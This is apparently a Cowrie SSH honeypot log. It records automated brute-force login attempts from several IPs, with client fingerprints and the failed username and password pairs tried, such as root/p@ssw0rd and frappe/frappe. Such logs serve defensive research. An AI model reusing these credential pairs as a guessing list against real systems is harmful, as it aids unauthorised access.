{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:25.448881Z","src_ip":"165.154.137.186","session":"446c6bcfb543","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:26.234593Z","src_ip":"165.154.137.186","session":"446c6bcfb543","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:27.501013Z","src_ip":"165.154.137.186","session":"446c6bcfb543","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":40660,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5107e1e5b58","protocol":"ssh","message":"New connection: 165.154.137.186:40660 (10.17.0.5:22) [session: c5107e1e5b58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:28.580960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:28.586529Z","src_ip":"165.154.137.186","session":"c5107e1e5b58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:28.924618Z","src_ip":"165.154.137.186","session":"c5107e1e5b58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch@1234","message":"login attempt [elasticsearch/elasticsearch@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:29.954920Z","src_ip":"165.154.137.186","session":"c5107e1e5b58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:31.227805Z","src_ip":"165.154.137.186","session":"c5107e1e5b58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38926,"dst_ip":"10.17.0.5","dst_port":22,"session":"6566e2f2cacc","protocol":"ssh","message":"New connection: 165.154.137.186:38926 (10.17.0.5:22) [session: 6566e2f2cacc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:32.326988Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:32.331183Z","src_ip":"165.154.137.186","session":"6566e2f2cacc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:32.599166Z","src_ip":"165.154.137.186","session":"6566e2f2cacc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esroot","password":"esroot","message":"login attempt [esroot/esroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:33.405229Z","src_ip":"165.154.137.186","session":"6566e2f2cacc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":45378,"dst_ip":"10.17.0.5","dst_port":22,"session":"56e76df84de9","protocol":"ssh","message":"New connection: 8.210.75.243:45378 (10.17.0.5:22) [session: 56e76df84de9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:34.413355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:34.478479Z","src_ip":"8.210.75.243","session":"56e76df84de9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:34.674458Z","src_ip":"165.154.137.186","session":"6566e2f2cacc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":38940,"dst_ip":"10.17.0.5","dst_port":22,"session":"6c82dafaef58","protocol":"ssh","message":"New connection: 165.154.137.186:38940 (10.17.0.5:22) [session: 6c82dafaef58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:35.996718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:36.000372Z","src_ip":"165.154.137.186","session":"6c82dafaef58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:36.252823Z","src_ip":"165.154.137.186","session":"6c82dafaef58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe","message":"login attempt [frappe/frappe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:37.004294Z","src_ip":"165.154.137.186","session":"6c82dafaef58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:38.260143Z","src_ip":"165.154.137.186","session":"6c82dafaef58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45764,"dst_ip":"10.17.0.5","dst_port":22,"session":"755e79562bfd","protocol":"ssh","message":"New connection: 165.154.137.186:45764 (10.17.0.5:22) [session: 755e79562bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:39.535623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:39.541194Z","src_ip":"165.154.137.186","session":"755e79562bfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:39.793598Z","src_ip":"165.154.137.186","session":"755e79562bfd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:40.553173Z","src_ip":"165.154.137.186","session":"755e79562bfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.209","src_port":35468,"dst_ip":"10.17.0.5","dst_port":22,"session":"10fef2432a44","protocol":"ssh","message":"New connection: 2.57.122.209:35468 (10.17.0.5:22) [session: 10fef2432a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:40.633220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:41.150064Z","src_ip":"2.57.122.209","session":"10fef2432a44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:41.155093Z","src_ip":"2.57.122.209","session":"10fef2432a44","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:41.807775Z","src_ip":"165.154.137.186","session":"755e79562bfd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45780,"dst_ip":"10.17.0.5","dst_port":22,"session":"a40d45fd2899","protocol":"ssh","message":"New connection: 165.154.137.186:45780 (10.17.0.5:22) [session: a40d45fd2899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:42.926363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:42.929781Z","src_ip":"165.154.137.186","session":"a40d45fd2899","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:43.191892Z","src_ip":"165.154.137.186","session":"a40d45fd2899","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"p@ssw0rd","message":"login attempt [root/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:44.185688Z","src_ip":"2.57.122.209","session":"10fef2432a44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"init","password":"init","message":"login attempt [init/init] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:44.239527Z","src_ip":"165.154.137.186","session":"a40d45fd2899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:45.503579Z","src_ip":"165.154.137.186","session":"a40d45fd2899","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:46.025040Z","src_ip":"2.57.122.209","session":"10fef2432a44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.187.165.26","src_port":56710,"dst_ip":"10.17.0.5","dst_port":22,"session":"9994ce9baeaa","protocol":"ssh","message":"New connection: 103.187.165.26:56710 (10.17.0.5:22) [session: 9994ce9baeaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:46.226585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:46.233407Z","src_ip":"103.187.165.26","session":"9994ce9baeaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:46.475785Z","src_ip":"103.187.165.26","session":"9994ce9baeaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.137.186","src_port":45786,"dst_ip":"10.17.0.5","dst_port":22,"session":"191c40de6530","protocol":"ssh","message":"New connection: 165.154.137.186:45786 (10.17.0.5:22) [session: 191c40de6530]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:46.638489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T09:40:46.642794Z","src_ip":"165.154.137.186","session":"191c40de6530","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 